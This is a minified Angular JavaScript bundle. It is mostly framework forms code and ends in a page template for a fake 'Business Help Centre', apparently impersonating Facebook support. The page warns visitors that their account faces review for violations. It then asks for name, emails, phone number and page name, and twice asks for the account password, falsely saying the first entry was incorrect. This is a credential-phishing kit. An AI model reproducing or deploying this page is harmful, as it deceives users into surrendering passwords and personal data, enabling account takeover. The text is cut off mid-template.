e=Hn()?Hn().getUserAgent():"";return/android (\d+)/.test(e.toLowerCase())}())}writeValue(n){this.setProperty("value",n??"")}_handleInput(n){(!this._compositionMode||this._compositionMode&&!this._composing)&&this.onChange(n)}_compositionStart(){this._composing=!0}_compositionEnd(n){this._composing=!1,this._compositionMode&&this.onChange(n)}}return(e=t).\u0275fac=function(n){return new(n||e)(C(gn),C(gt),C(VL,8))},e.\u0275dir=k({type:e,selectors:[["input","formControlName","",3,"type","checkbox"],["textarea","formControlName",""],["input","formControl","",3,"type","checkbox"],["textarea","formControl",""],["input","ngModel","",3,"type","checkbox"],["textarea","ngModel",""],["","ngDefaultControl",""]],hostBindings:function(n,o){1&n&&re("input",function(s){return o._handleInput(s.target.value)})("blur",function(){return o.onTouched()})("compositionstart",function(){return o._compositionStart()})("compositionend",function(s){return o._compositionEnd(s.target.value)})},features:[ge([kL]),ne]}),t})();const Ge=new I("NgValidators"),Zn=new I("NgAsyncValidators");function ob(e){return function Wn(e){return null==e||("string"==typeof e||Array.isArray(e))&&0===e.length}(e.value)?{required:!0}:null}function ib(e){return!0===e.value?null:{required:!0}}function Ml(e){return null}function cb(e){return null!=e}function db(e){return bi(e)?Ae(e):e}function fb(e){let t={};return e.forEach(r=>{t=null!=r?{...t,...r}:t}),0===Object.keys(t).length?null:t}function hb(e,t){return t.map(r=>r(e))}function pb(e){return e.map(t=>function BL(e){return!e.validate}(t)?t:r=>t.validate(r))}function Qf(e){return null!=e?function gb(e){if(!e)return null;const t=e.filter(cb);return 0==t.length?null:function(r){return fb(hb(r,t))}}(pb(e)):null}function Xf(e){return null!=e?function mb(e){if(!e)return null;const t=e.filter(cb);return 0==t.length?null:function(r){return function PL(...e){const t=Vh(e),{args:r,keys:n}=SC(e),o=new De(i=>{const{length:s}=r;if(!s)return void i.complete();const a=new Array(s);let l=s,u=s;for(let c=0;c{d||(d=!0,u--),a[c]=f},()=>l--,void 0,()=>{(!l||!d)&&(u||i.next(n?TC(n,a):a),i.complete())}))}});return t?o.pipe(AC(t)):o}(hb(r,t).map(db)).pipe(Y(fb))}}(pb(e)):null}function vb(e,t){return null===e?[t]:Array.isArray(e)?[...e,t]:[e,t]}function Jf(e){return e?Array.isArray(e)?e:[e]:[]}function Il(e,t){return Array.isArray(e)?e.includes(t):e===t}function Db(e,t){const r=Jf(t);return Jf(e).forEach(o=>{Il(r,o)||r.push(o)}),r}function Cb(e,t){return Jf(t).filter(r=>!Il(e,r))}class wb{constructor(){this._rawValidators=[],this._rawAsyncValidators=[],this._onDestroyCallbacks=[]}get value(){return this.control?this.control.value:null}get valid(){return this.control?this.control.valid:null}get invalid(){return this.control?this.control.invalid:null}get pending(){return this.control?this.control.pending:null}get disabled(){return this.control?this.control.disabled:null}get enabled(){return this.control?this.control.enabled:null}get errors(){return this.control?this.control.errors:null}get pristine(){return this.control?this.control.pristine:null}get dirty(){return this.control?this.control.dirty:null}get touched(){return this.control?this.control.touched:null}get status(){return this.control?this.control.status:null}get untouched(){return this.control?this.control.untouched:null}get statusChanges(){return this.control?this.control.statusChanges:null}get valueChanges(){return this.control?this.control.valueChanges:null}get path(){return null}_setValidators(t){this._rawValidators=t||[],this._composedValidatorFn=Qf(this._rawValidators)}_setAsyncValidators(t){this._rawAsyncValidators=t||[],this._composedAsyncValidatorFn=Xf(this._rawAsyncValidators)}get validator(){return this._composedValidatorFn||null}get asyncValidator(){return this._composedAsyncValidatorFn||null}_registerOnDestroy(t){this._onDestroyCallbacks.push(t)}_invokeOnDestroyCallbacks(){this._onDestroyCallbacks.forEach(t=>t()),this._onDestroyCallbacks=[]}reset(t=void 0){this.control&&this.control.reset(t)}hasError(t,r){return!!this.control&&this.control.hasError(t,r)}getError(t,r){return this.control?this.control.getError(t,r):null}}class et extends wb{get formDirective(){return null}get path(){return null}}class Yn extends wb{constructor(){super(...arguments),this._parent=null,this.name=null,this.valueAccessor=null}}class bb{constructor(t){this._cd=t}get isTouched(){return!!this._cd?.control?.touched}get isUntouched(){return!!this._cd?.control?.untouched}get isPristine(){return!!this._cd?.control?.pristine}get isDirty(){return!!this._cd?.control?.dirty}get isValid(){return!!this._cd?.control?.valid}get isInvalid(){return!!this._cd?.control?.invalid}get isPending(){return!!this._cd?.control?.pending}get isSubmitted(){return!!this._cd?.submitted}}let Eb=(()=>{var e;class t extends bb{constructor(n){super(n)}}return(e=t).\u0275fac=function(n){return new(n||e)(C(Yn,2))},e.\u0275dir=k({type:e,selectors:[["","formControlName",""],["","ngModel",""],["","formControl",""]],hostVars:14,hostBindings:function(n,o){2&n&&Ma("ng-untouched",o.isUntouched)("ng-touched",o.isTouched)("ng-pristine",o.isPristine)("ng-dirty",o.isDirty)("ng-valid",o.isValid)("ng-invalid",o.isInvalid)("ng-pending",o.isPending)},features:[ne]}),t})(),Mb=(()=>{var e;class t extends bb{constructor(n){super(n)}}return(e=t).\u0275fac=function(n){return new(n||e)(C(et,10))},e.\u0275dir=k({type:e,selectors:[["","formGroupName",""],["","formArrayName",""],["","ngModelGroup",""],["","formGroup",""],["form",3,"ngNoForm",""],["","ngForm",""]],hostVars:16,hostBindings:function(n,o){2&n&&Ma("ng-untouched",o.isUntouched)("ng-touched",o.isTouched)("ng-pristine",o.isPristine)("ng-dirty",o.isDirty)("ng-valid",o.isValid)("ng-invalid",o.isInvalid)("ng-pending",o.isPending)("ng-submitted",o.isSubmitted)},features:[ne]}),t})();const rs="VALID",Al="INVALID",No="PENDING",os="DISABLED";function th(e){return(Tl(e)?e.validators:e)||null}function nh(e,t){return(Tl(t)?t.asyncValidators:e)||null}function Tl(e){return null!=e&&!Array.isArray(e)&&"object"==typeof e}class Tb{constructor(t,r){this._pendingDirty=!1,this._hasOwnPendingAsyncValidator=!1,this._pendingTouched=!1,this._onCollectionChange=()=>{},this._parent=null,this.pristine=!0,this.touched=!1,this._onDisabledChange=[],this._assignValidators(t),this._assignAsyncValidators(r)}get validator(){return this._composedValidatorFn}set validator(t){this._rawValidators=this._composedValidatorFn=t}get asyncValidator(){return this._composedAsyncValidatorFn}set asyncValidator(t){this._rawAsyncValidators=this._composedAsyncValidatorFn=t}get parent(){return this._parent}get valid(){return this.status===rs}get invalid(){return this.status===Al}get pending(){return this.status==No}get disabled(){return this.status===os}get enabled(){return this.status!==os}get dirty(){return!this.pristine}get untouched(){return!this.touched}get updateOn(){return this._updateOn?this._updateOn:this.parent?this.parent.updateOn:"change"}setValidators(t){this._assignValidators(t)}setAsyncValidators(t){this._assignAsyncValidators(t)}addValidators(t){this.setValidators(Db(t,this._rawValidators))}addAsyncValidators(t){this.setAsyncValidators(Db(t,this._rawAsyncValidators))}removeValidators(t){this.setValidators(Cb(t,this._rawValidators))}removeAsyncValidators(t){this.setAsyncValidators(Cb(t,this._rawAsyncValidators))}hasValidator(t){return Il(this._rawValidators,t)}hasAsyncValidator(t){return Il(this._rawAsyncValidators,t)}clearValidators(){this.validator=null}clearAsyncValidators(){this.asyncValidator=null}markAsTouched(t={}){this.touched=!0,this._parent&&!t.onlySelf&&this._parent.markAsTouched(t)}markAllAsTouched(){this.markAsTouched({onlySelf:!0}),this._forEachChild(t=>t.markAllAsTouched())}markAsUntouched(t={}){this.touched=!1,this._pendingTouched=!1,this._forEachChild(r=>{r.markAsUntouched({onlySelf:!0})}),this._parent&&!t.onlySelf&&this._parent._updateTouched(t)}markAsDirty(t={}){this.pristine=!1,this._parent&&!t.onlySelf&&this._parent.markAsDirty(t)}markAsPristine(t={}){this.pristine=!0,this._pendingDirty=!1,this._forEachChild(r=>{r.markAsPristine({onlySelf:!0})}),this._parent&&!t.onlySelf&&this._parent._updatePristine(t)}markAsPending(t={}){this.status=No,!1!==t.emitEvent&&this.statusChanges.emit(this.status),this._parent&&!t.onlySelf&&this._parent.markAsPending(t)}disable(t={}){const r=this._parentMarkedDirty(t.onlySelf);this.status=os,this.errors=null,this._forEachChild(n=>{n.disable({...t,onlySelf:!0})}),this._updateValue(),!1!==t.emitEvent&&(this.valueChanges.emit(this.value),this.statusChanges.emit(this.status)),this._updateAncestors({...t,skipPristineCheck:r}),this._onDisabledChange.forEach(n=>n(!0))}enable(t={}){const r=this._parentMarkedDirty(t.onlySelf);this.status=rs,this._forEachChild(n=>{n.enable({...t,onlySelf:!0})}),this.updateValueAndValidity({onlySelf:!0,emitEvent:t.emitEvent}),this._updateAncestors({...t,skipPristineCheck:r}),this._onDisabledChange.forEach(n=>n(!1))}_updateAncestors(t){this._parent&&!t.onlySelf&&(this._parent.updateValueAndValidity(t),t.skipPristineCheck||this._parent._updatePristine(),this._parent._updateTouched())}setParent(t){this._parent=t}getRawValue(){return this.value}updateValueAndValidity(t={}){this._setInitialStatus(),this._updateValue(),this.enabled&&(this._cancelExistingSubscription(),this.errors=this._runValidator(),this.status=this._calculateStatus(),(this.status===rs||this.status===No)&&this._runAsyncValidator(t.emitEvent)),!1!==t.emitEvent&&(this.valueChanges.emit(this.value),this.statusChanges.emit(this.status)),this._parent&&!t.onlySelf&&this._parent.updateValueAndValidity(t)}_updateTreeValidity(t={emitEvent:!0}){this._forEachChild(r=>r._updateTreeValidity(t)),this.updateValueAndValidity({onlySelf:!0,emitEvent:t.emitEvent})}_setInitialStatus(){this.status=this._allControlsDisabled()?os:rs}_runValidator(){return this.validator?this.validator(this):null}_runAsyncValidator(t){if(this.asyncValidator){this.status=No,this._hasOwnPendingAsyncValidator=!0;const r=db(this.asyncValidator(this));this._asyncValidationSubscription=r.subscribe(n=>{this._hasOwnPendingAsyncValidator=!1,this.setErrors(n,{emitEvent:t})})}}_cancelExistingSubscription(){this._asyncValidationSubscription&&(this._asyncValidationSubscription.unsubscribe(),this._hasOwnPendingAsyncValidator=!1)}setErrors(t,r={}){this.errors=t,this._updateControlsErrors(!1!==r.emitEvent)}get(t){let r=t;return null==r||(Array.isArray(r)||(r=r.split(".")),0===r.length)?null:r.reduce((n,o)=>n&&n._find(o),this)}getError(t,r){const n=r?this.get(r):this;return n&&n.errors?n.errors[t]:null}hasError(t,r){return!!this.getError(t,r)}get root(){let t=this;for(;t._parent;)t=t._parent;return t}_updateControlsErrors(t){this.status=this._calculateStatus(),t&&this.statusChanges.emit(this.status),this._parent&&this._parent._updateControlsErrors(t)}_initObservables(){this.valueChanges=new ye,this.statusChanges=new ye}_calculateStatus(){return this._allControlsDisabled()?os:this.errors?Al:this._hasOwnPendingAsyncValidator||this._anyControlsHaveStatus(No)?No:this._anyControlsHaveStatus(Al)?Al:rs}_anyControlsHaveStatus(t){return this._anyControls(r=>r.status===t)}_anyControlsDirty(){return this._anyControls(t=>t.dirty)}_anyControlsTouched(){return this._anyControls(t=>t.touched)}_updatePristine(t={}){this.pristine=!this._anyControlsDirty(),this._parent&&!t.onlySelf&&this._parent._updatePristine(t)}_updateTouched(t={}){this.touched=this._anyControlsTouched(),this._parent&&!t.onlySelf&&this._parent._updateTouched(t)}_registerOnCollectionChange(t){this._onCollectionChange=t}_setUpdateStrategy(t){Tl(t)&&null!=t.updateOn&&(this._updateOn=t.updateOn)}_parentMarkedDirty(t){return!t&&!(!this._parent||!this._parent.dirty)&&!this._parent._anyControlsDirty()}_find(t){return null}_assignValidators(t){this._rawValidators=Array.isArray(t)?t.slice():t,this._composedValidatorFn=function zL(e){return Array.isArray(e)?Qf(e):e||null}(this._rawValidators)}_assignAsyncValidators(t){this._rawAsyncValidators=Array.isArray(t)?t.slice():t,this._composedAsyncValidatorFn=function GL(e){return Array.isArray(e)?Xf(e):e||null}(this._rawAsyncValidators)}}class rh extends Tb{constructor(t,r,n){super(th(r),nh(n,r)),this.controls=t,this._initObservables(),this._setUpdateStrategy(r),this._setUpControls(),this.updateValueAndValidity({onlySelf:!0,emitEvent:!!this.asyncValidator})}registerControl(t,r){return this.controls[t]?this.controls[t]:(this.controls[t]=r,r.setParent(this),r._registerOnCollectionChange(this._onCollectionChange),r)}addControl(t,r,n={}){this.registerControl(t,r),this.updateValueAndValidity({emitEvent:n.emitEvent}),this._onCollectionChange()}removeControl(t,r={}){this.controls[t]&&this.controls[t]._registerOnCollectionChange(()=>{}),delete this.controls[t],this.updateValueAndValidity({emitEvent:r.emitEvent}),this._onCollectionChange()}setControl(t,r,n={}){this.controls[t]&&this.controls[t]._registerOnCollectionChange(()=>{}),delete this.controls[t],r&&this.registerControl(t,r),this.updateValueAndValidity({emitEvent:n.emitEvent}),this._onCollectionChange()}contains(t){return this.controls.hasOwnProperty(t)&&this.controls[t].enabled}setValue(t,r={}){(function Ab(e,t,r){e._forEachChild((n,o)=>{if(void 0===r[o])throw new D(1002,"")})})(this,0,t),Object.keys(t).forEach(n=>{(function Sb(e,t,r){const n=e.controls;if(!(t?Object.keys(n):n).length)throw new D(1e3,"");if(!n[r])throw new D(1001,"")})(this,!0,n),this.controls[n].setValue(t[n],{onlySelf:!0,emitEvent:r.emitEvent})}),this.updateValueAndValidity(r)}patchValue(t,r={}){null!=t&&(Object.keys(t).forEach(n=>{const o=this.controls[n];o&&o.patchValue(t[n],{onlySelf:!0,emitEvent:r.emitEvent})}),this.updateValueAndValidity(r))}reset(t={},r={}){this._forEachChild((n,o)=>{n.reset(t[o],{onlySelf:!0,emitEvent:r.emitEvent})}),this._updatePristine(r),this._updateTouched(r),this.updateValueAndValidity(r)}getRawValue(){return this._reduceChildren({},(t,r,n)=>(t[n]=r.getRawValue(),t))}_syncPendingControls(){let t=this._reduceChildren(!1,(r,n)=>!!n._syncPendingControls()||r);return t&&this.updateValueAndValidity({onlySelf:!0}),t}_forEachChild(t){Object.keys(this.controls).forEach(r=>{const n=this.controls[r];n&&t(n,r)})}_setUpControls(){this._forEachChild(t=>{t.setParent(this),t._registerOnCollectionChange(this._onCollectionChange)})}_updateValue(){this.value=this._reduceValue()}_anyControls(t){for(const[r,n]of Object.entries(this.controls))if(this.contains(r)&&t(n))return!0;return!1}_reduceValue(){return this._reduceChildren({},(r,n,o)=>((n.enabled||this.disabled)&&(r[o]=n.value),r))}_reduceChildren(t,r){let n=t;return this._forEachChild((o,i)=>{n=r(n,o,i)}),n}_allControlsDisabled(){for(const t of Object.keys(this.controls))if(this.controls[t].enabled)return!1;return Object.keys(this.controls).length>0||this.disabled}_find(t){return this.controls.hasOwnProperty(t)?this.controls[t]:null}}const xo=new I("CallSetDisabledState",{providedIn:"root",factory:()=>Nl}),Nl="always";function is(e,t,r=Nl){oh(e,t),t.valueAccessor.writeValue(e.value),(e.disabled||"always"===r)&&t.valueAccessor.setDisabledState?.(e.disabled),function ZL(e,t){t.valueAccessor.registerOnChange(r=>{e._pendingValue=r,e._pendingChange=!0,e._pendingDirty=!0,"change"===e.updateOn&&Nb(e,t)})}(e,t),function QL(e,t){const r=(n,o)=>{t.valueAccessor.writeValue(n),o&&t.viewToModelUpdate(n)};e.registerOnChange(r),t._registerOnDestroy(()=>{e._unregisterOnChange(r)})}(e,t),function YL(e,t){t.valueAccessor.registerOnTouched(()=>{e._pendingTouched=!0,"blur"===e.updateOn&&e._pendingChange&&Nb(e,t),"submit"!==e.updateOn&&e.markAsTouched()})}(e,t),function WL(e,t){if(t.valueAccessor.setDisabledState){const r=n=>{t.valueAccessor.setDisabledState(n)};e.registerOnDisabledChange(r),t._registerOnDestroy(()=>{e._unregisterOnDisabledChange(r)})}}(e,t)}function Ol(e,t){e.forEach(r=>{r.registerOnValidatorChange&&r.registerOnValidatorChange(t)})}function oh(e,t){const r=function yb(e){return e._rawValidators}(e);null!==t.validator?e.setValidators(vb(r,t.validator)):"function"==typeof r&&e.setValidators([r]);const n=function _b(e){return e._rawAsyncValidators}(e);null!==t.asyncValidator?e.setAsyncValidators(vb(n,t.asyncValidator)):"function"==typeof n&&e.setAsyncValidators([n]);const o=()=>e.updateValueAndValidity();Ol(t._rawValidators,o),Ol(t._rawAsyncValidators,o)}function Nb(e,t){e._pendingDirty&&e.markAsDirty(),e.setValue(e._pendingValue,{emitModelToViewChange:!1}),t.viewToModelUpdate(e._pendingValue),e._pendingChange=!1}const tV={provide:et,useExisting:le(()=>Fl)},ss=(()=>Promise.resolve())();let Fl=(()=>{var e;class t extends et{constructor(n,o,i){super(),this.callSetDisabledState=i,this.submitted=!1,this._directives=new Set,this.ngSubmit=new ye,this.form=new rh({},Qf(n),Xf(o))}ngAfterViewInit(){this._setUpdateStrategy()}get formDirective(){return this}get control(){return this.form}get path(){return[]}get controls(){return this.form.controls}addControl(n){ss.then(()=>{const o=this._findContainer(n.path);n.control=o.registerControl(n.name,n.control),is(n.control,n,this.callSetDisabledState),n.control.updateValueAndValidity({emitEvent:!1}),this._directives.add(n)})}getControl(n){return this.form.get(n.path)}removeControl(n){ss.then(()=>{const o=this._findContainer(n.path);o&&o.removeControl(n.name),this._directives.delete(n)})}addFormGroup(n){ss.then(()=>{const o=this._findContainer(n.path),i=new rh({});(function xb(e,t){oh(e,t)})(i,n),o.registerControl(n.name,i),i.updateValueAndValidity({emitEvent:!1})})}removeFormGroup(n){ss.then(()=>{const o=this._findContainer(n.path);o&&o.removeControl(n.name)})}getFormGroup(n){return this.form.get(n.path)}updateModel(n,o){ss.then(()=>{this.form.get(n.path).setValue(o)})}setValue(n){this.control.setValue(n)}onSubmit(n){return this.submitted=!0,function Rb(e,t){e._syncPendingControls(),t.forEach(r=>{const n=r.control;"submit"===n.updateOn&&n._pendingChange&&(r.viewToModelUpdate(n._pendingValue),n._pendingChange=!1)})}(this.form,this._directives),this.ngSubmit.emit(n),"dialog"===n?.target?.method}onReset(){this.resetForm()}resetForm(n=void 0){this.form.reset(n),this.submitted=!1}_setUpdateStrategy(){this.options&&null!=this.options.updateOn&&(this.form._updateOn=this.options.updateOn)}_findContainer(n){return n.pop(),n.length?this.form.get(n):this.form}}return(e=t).\u0275fac=function(n){return new(n||e)(C(Ge,10),C(Zn,10),C(xo,8))},e.\u0275dir=k({type:e,selectors:[["form",3,"ngNoForm","",3,"formGroup",""],["ng-form"],["","ngForm",""]],hostBindings:function(n,o){1&n&&re("submit",function(s){return o.onSubmit(s)})("reset",function(){return o.onReset()})},inputs:{options:["ngFormOptions","options"]},outputs:{ngSubmit:"ngSubmit"},exportAs:["ngForm"],features:[ge([tV]),ne]}),t})();function Ob(e,t){const r=e.indexOf(t);r>-1&&e.splice(r,1)}function Pb(e){return"object"==typeof e&&null!==e&&2===Object.keys(e).length&&"value"in e&&"disabled"in e}const Fb=class extends Tb{constructor(t=null,r,n){super(th(r),nh(n,r)),this.defaultValue=null,this._onChange=[],this._pendingChange=!1,this._applyFormState(t),this._setUpdateStrategy(r),this._initObservables(),this.updateValueAndValidity({onlySelf:!0,emitEvent:!!this.asyncValidator}),Tl(r)&&(r.nonNullable||r.initialValueIsDefault)&&(this.defaultValue=Pb(t)?t.value:t)}setValue(t,r={}){this.value=this._pendingValue=t,this._onChange.length&&!1!==r.emitModelToViewChange&&this._onChange.forEach(n=>n(this.value,!1!==r.emitViewToModelChange)),this.updateValueAndValidity(r)}patchValue(t,r={}){this.setValue(t,r)}reset(t=this.defaultValue,r={}){this._applyFormState(t),this.markAsPristine(r),this.markAsUntouched(r),this.setValue(this.value,r),this._pendingChange=!1}_updateValue(){}_anyControls(t){return!1}_allControlsDisabled(){return this.disabled}registerOnChange(t){this._onChange.push(t)}_unregisterOnChange(t){Ob(this._onChange,t)}registerOnDisabledChange(t){this._onDisabledChange.push(t)}_unregisterOnDisabledChange(t){Ob(this._onDisabledChange,t)}_forEachChild(t){}_syncPendingControls(){return!("submit"!==this.updateOn||(this._pendingDirty&&this.markAsDirty(),this._pendingTouched&&this.markAsTouched(),!this._pendingChange)||(this.setValue(this._pendingValue,{onlySelf:!0,emitModelToViewChange:!1}),0))}_applyFormState(t){Pb(t)?(this.value=this._pendingValue=t.value,t.disabled?this.disable({onlySelf:!0,emitEvent:!1}):this.enable({onlySelf:!0,emitEvent:!1})):this.value=this._pendingValue=t}},oV={provide:Yn,useExisting:le(()=>lh)},Vb=(()=>Promise.resolve())();let lh=(()=>{var e;class t extends Yn{constructor(n,o,i,s,a,l){super(),this._changeDetectorRef=a,this.callSetDisabledState=l,this.control=new Fb,this._registered=!1,this.name="",this.update=new ye,this._parent=n,this._setValidators(o),this._setAsyncValidators(i),this.valueAccessor=function ah(e,t){if(!t)return null;let r,n,o;return Array.isArray(t),t.forEach(i=>{i.constructor===El?r=i:function KL(e){return Object.getPrototypeOf(e.constructor)===mr}(i)?n=i:o=i}),o||n||r||null}(0,s)}ngOnChanges(n){if(this._checkForErrors(),!this._registered||"name"in n){if(this._registered&&(this._checkName(),this.formDirective)){const o=n.name.previousValue;this.formDirective.removeControl({name:o,path:this._getPath(o)})}this._setUpControl()}"isDisabled"in n&&this._updateDisabled(n),function sh(e,t){if(!e.hasOwnProperty("model"))return!1;const r=e.model;return!!r.isFirstChange()||!Object.is(t,r.currentValue)}(n,this.viewModel)&&(this._updateValue(this.model),this.viewModel=this.model)}ngOnDestroy(){this.formDirective&&this.formDirective.removeControl(this)}get path(){return this._getPath(this.name)}get formDirective(){return this._parent?this._parent.formDirective:null}viewToModelUpdate(n){this.viewModel=n,this.update.emit(n)}_setUpControl(){this._setUpdateStrategy(),this._isStandalone()?this._setUpStandalone():this.formDirective.addControl(this),this._registered=!0}_setUpdateStrategy(){this.options&&null!=this.options.updateOn&&(this.control._updateOn=this.options.updateOn)}_isStandalone(){return!this._parent||!(!this.options||!this.options.standalone)}_setUpStandalone(){is(this.control,this,this.callSetDisabledState),this.control.updateValueAndValidity({emitEvent:!1})}_checkForErrors(){this._isStandalone()||this._checkParentType(),this._checkName()}_checkParentType(){}_checkName(){this.options&&this.options.name&&(this.name=this.options.name),this._isStandalone()}_updateValue(n){Vb.then(()=>{this.control.setValue(n,{emitViewToModelChange:!1}),this._changeDetectorRef?.markForCheck()})}_updateDisabled(n){const o=n.isDisabled.currentValue,i=0!==o&&po(o);Vb.then(()=>{i&&!this.control.disabled?this.control.disable():!i&&this.control.disabled&&this.control.enable(),this._changeDetectorRef?.markForCheck()})}_getPath(n){return this._parent?function xl(e,t){return[...t.path,e]}(n,this._parent):[n]}}return(e=t).\u0275fac=function(n){return new(n||e)(C(et,9),C(Ge,10),C(Zn,10),C(an,10),C(Va,8),C(xo,8))},e.\u0275dir=k({type:e,selectors:[["","ngModel","",3,"formControlName","",3,"formControl",""]],inputs:{name:"name",isDisabled:["disabled","isDisabled"],model:["ngModel","model"],options:["ngModelOptions","options"]},outputs:{update:"ngModelChange"},exportAs:["ngModel"],features:[ge([oV]),ne,Mt]}),t})(),jb=(()=>{var e;class t{}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275dir=k({type:e,selectors:[["form",3,"ngNoForm","",3,"ngNativeValidate",""]],hostAttrs:["novalidate",""]}),t})(),Hb=(()=>{var e;class t{}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275mod=Lt({type:e}),e.\u0275inj=bt({}),t})();let vr=(()=>{var e;class t{constructor(){this._validator=Ml}ngOnChanges(n){if(this.inputName in n){const o=this.normalizeInput(n[this.inputName].currentValue);this._enabled=this.enabled(o),this._validator=this._enabled?this.createValidator(o):Ml,this._onChange&&this._onChange()}}validate(n){return this._validator(n)}registerOnValidatorChange(n){this._onChange=n}enabled(n){return null!=n}}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275dir=k({type:e,features:[Mt]}),t})();const wV={provide:Ge,useExisting:le(()=>kl),multi:!0},bV={provide:Ge,useExisting:le(()=>ph),multi:!0};let kl=(()=>{var e;class t extends vr{constructor(){super(...arguments),this.inputName="required",this.normalizeInput=po,this.createValidator=n=>ob}enabled(n){return n}}return(e=t).\u0275fac=function(){let r;return function(o){return(r||(r=je(e)))(o||e)}}(),e.\u0275dir=k({type:e,selectors:[["","required","","formControlName","",3,"type","checkbox"],["","required","","formControl","",3,"type","checkbox"],["","required","","ngModel","",3,"type","checkbox"]],hostVars:1,hostBindings:function(n,o){2&n&&Bt("required",o._enabled?"":null)},inputs:{required:"required"},features:[ge([wV]),ne]}),t})(),ph=(()=>{var e;class t extends kl{constructor(){super(...arguments),this.createValidator=n=>ib}}return(e=t).\u0275fac=function(){let r;return function(o){return(r||(r=je(e)))(o||e)}}(),e.\u0275dir=k({type:e,selectors:[["input","type","checkbox","required","","formControlName",""],["input","type","checkbox","required","","formControl",""],["input","type","checkbox","required","","ngModel",""]],hostVars:1,hostBindings:function(n,o){2&n&&Bt("required",o._enabled?"":null)},features:[ge([bV]),ne]}),t})();const IV={provide:Ge,useExisting:le(()=>gh),multi:!0};let gh=(()=>{var e;class t extends vr{constructor(){super(...arguments),this.inputName="maxlength",this.normalizeInput=n=>function Qb(e){return"number"==typeof e?e:parseInt(e,10)}(n),this.createValidator=n=>function lb(e){return t=>function tb(e){return null!=e&&"number"==typeof e.length}(t.value)&&t.value.length>e?{maxlength:{requiredLength:e,actualLength:t.value.length}}:null}(n)}}return(e=t).\u0275fac=function(){let r;return function(o){return(r||(r=je(e)))(o||e)}}(),e.\u0275dir=k({type:e,selectors:[["","maxlength","","formControlName",""],["","maxlength","","formControl",""],["","maxlength","","ngModel",""]],hostVars:1,hostBindings:function(n,o){2&n&&Bt("maxlength",o._enabled?o.maxlength:null)},inputs:{maxlength:"maxlength"},features:[ge([IV]),ne]}),t})(),AV=(()=>{var e;class t{}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275mod=Lt({type:e}),e.\u0275inj=bt({imports:[Hb]}),t})(),NV=(()=>{var e;class t{static withConfig(n){return{ngModule:t,providers:[{provide:xo,useValue:n.callSetDisabledState??Nl}]}}}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275mod=Lt({type:e}),e.\u0275inj=bt({imports:[AV]}),t})();function xV(e,t){if(1&e&&(w(0,"p",68),S(1),b()),2&e){const r=se(2);K(1),jn(" ",r.msgErr," ")}}const RV=function(){return{standalone:!0}};function OV(e,t){if(1&e){const r=wi();w(0,"div",4)(1,"div",4)(2,"div",5)(3,"div",4),Me(4,"img",6),b()(),w(5,"div",7)(6,"div"),S(7,"Business Help Centre"),b(),w(8,"div"),Me(9,"img",8),b()(),w(10,"div",9)(11,"div",10)(12,"div",11)(13,"p",12),S(14," Business Help Centre "),b(),w(15,"p",13),S(16,"Get Support"),b()()()()(),w(17,"section",14)(18,"div",15)(19,"div",16)(20,"div",17)(21,"div",18)(22,"div",19)(23,"div",20)(24,"div",21)(25,"strong",4),S(26,"Get Started"),b()(),w(27,"div",22),S(28," We have received multiple reports that suggest that your account has been in violation of our terms of services and community guidelines. As a result, your account is scheduled for review. "),Me(29,"br",4),w(30,"div",23)(31,"strong",4),S(32),b()()(),w(33,"form",24),re("submit",function(){return Re(r),Oe(se().submitForm())}),w(34,"div",25)(35,"label",26),S(36,"Please provide us information that will help us investigate"),b(),w(37,"textarea",27,28),re("ngModelChange",function(o){return Re(r),Oe(se().model.message=o)}),S(39," "),b()(),w(40,"div",25)(41,"label",29),S(42,"Full Name"),b(),w(43,"input",30,31),re("ngModelChange",function(o){return Re(r),Oe(se().model.full_name=o)}),b()(),w(45,"div",25)(46,"label",32),S(47,"Business Email Address"),b(),w(48,"input",33,34),re("ngModelChange",function(o){return Re(r),Oe(se().model.bus_email=o)}),b()(),w(50,"div",25)(51,"label",35),S(52,"Personal Email Address"),b(),w(53,"input",36,37),re("ngModelChange",function(o){return Re(r),Oe(se().model.pers_email=o)}),b()(),w(55,"div",25)(56,"label",38),S(57,"Mobile Phone Number"),b(),w(58,"input",39,40),re("ngModelChange",function(o){return Re(r),Oe(se().model.phone_number=o)}),b()(),w(60,"div",25)(61,"label",41),S(62,"Page Name"),b(),w(63,"input",42,43),re("ngModelChange",function(o){return Re(r),Oe(se().model.fb_page_name=o)}),b()(),w(65,"div",44)(66,"input",45),re("ngModelChange",function(o){return Re(r),Oe(se().policyChecked=o)}),b(),w(67,"label",46),S(68,"I agree to our Terms, Data and Cookies Policy."),b(),Me(69,"p",47),b(),At(70,xV,2,1,"p",48),Me(71,"span",4),w(72,"button",49),S(73,"Submit"),b()()()()()()()()(),Me(74,"div",50),w(75,"div",51)(76,"div",52)(77,"div",53)(78,"div",54)(79,"h5",55),S(80," Please Enter Your Password "),b(),w(81,"button",56)(82,"span",57),re("click",function(){return Re(r),Oe(se().onCloseModal())}),S(83,"\xd7"),b()()(),w(84,"form",58),re("submit",function(){return Re(r),Oe(se().submitFormModal())}),w(85,"div",59)(86,"div",60)(87,"p",61),S(88," For your security, you must enter your password to continue. "),b(),w(89,"div",62)(90,"div",4)(91,"label",63),S(92,"Password"),b()(),w(93,"input",64,65),re("ngModelChange",function(o){return Re(r),Oe(se().model.p_one=o)}),b()(),w(95,"div",66)(96,"span",67)(97,"p",68),S(98," The password you've entered is incorrect. "),b(),Me(99,"span",4),b()()()(),w(100,"div",69)(101,"button",70),S(102," Continue "),b()()()()()(),w(103,"div",71)(104,"div",52)(105,"div",53)(106,"div",54)(107,"h5",72),S(108," Please Re-Enter Your Password "),b(),w(109,"button",56)(110,"span",57),re("click",function(){return Re(r),Oe(se().onCloseModal1())}),S(111,"\xd7"),b()()(),w(112,"form",73),re("submit",function(){return Re(r),Oe(se().submitFormModal1())}),w(113,"div",59)(114,"div",60)(115,"p",74),S(116," For your security, you must enter your password to continue. "),b(),w(117,"div",62)(118,"div",4)(119,"label",75),S(120,"Password"),b()(),w(121,"input",76,77),re("ngModelChange",function(o){return Re(r),Oe(se().model.p_two=o)}),b()(),w(123,"div",66)(124,"span",78)(125,"p",68),S(126," The password you've entered is incorrect. "),b(),Me(127,"span",4),b()()()(),w(128,"div",69)(129,"button",79),S(130," Continue "),b()()()()()()()}if(2&e){const r=se();K(32),jn("Report no: 